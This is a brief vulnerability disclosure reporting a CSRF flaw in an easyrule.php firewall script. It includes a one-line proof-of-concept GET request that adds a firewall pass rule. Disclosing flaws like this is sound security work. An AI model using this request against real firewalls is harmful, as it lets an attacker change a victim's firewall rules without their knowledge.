Description:
The easyrule.php script is vulnerable to CSRF, which allows an attacker to create or delete firewall rules via CSRF.
Proof of Concept:
```
GET /easyrule.php?action=pass&int=LAN&proto=any&src=192.168.1.1&dst=192.168.1.1&dstport=80&ipproto=inet
```
京公网安备 11010502034610号
暂无评论